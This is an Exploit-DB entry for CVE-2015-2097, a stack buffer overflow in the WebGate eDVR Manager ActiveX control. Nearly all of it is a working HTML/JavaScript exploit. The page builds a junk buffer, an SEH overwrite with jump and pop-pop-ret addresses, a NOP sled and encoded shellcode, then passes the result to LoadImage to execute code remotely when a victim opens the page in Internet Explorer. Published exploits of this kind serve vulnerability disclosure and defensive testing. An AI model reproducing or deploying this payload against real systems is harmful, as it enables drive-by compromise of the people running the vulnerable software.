WebGate eDVR Manager - Remote Stack Buffer Overflow

EDB-ID:

36505


Platform:

Windows

Published:

2015-03-26

<html>
<!--
# Exploit Title: WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (0 day)
# Date: 26th MArch, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Version: 1, 6, 42, 0
# Tested on: Windows XP SP3 (IE6/7/8)
# CVE : 2015-2097

targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
For full analysis of the exploit refer 
http://blog.disects.com/2015/03/webgate-edvr-manager.html
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>